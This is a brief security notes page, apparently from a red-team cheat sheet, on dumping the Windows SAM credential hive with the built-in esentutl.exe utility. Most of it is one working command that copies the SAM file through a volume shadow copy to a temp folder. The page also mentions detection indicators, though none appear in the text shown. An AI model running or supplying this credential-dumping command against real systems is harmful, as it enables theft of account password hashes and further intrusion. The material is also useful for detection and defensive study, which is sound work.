Dumping SAM via esentutl.exe

Execution

It's possible to use esentutl.exe that comes with Windows and dump SAM/Security hives like so:

esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\sam

The below are some potential IOCs for detecting this technique:

Last updated 3 years ago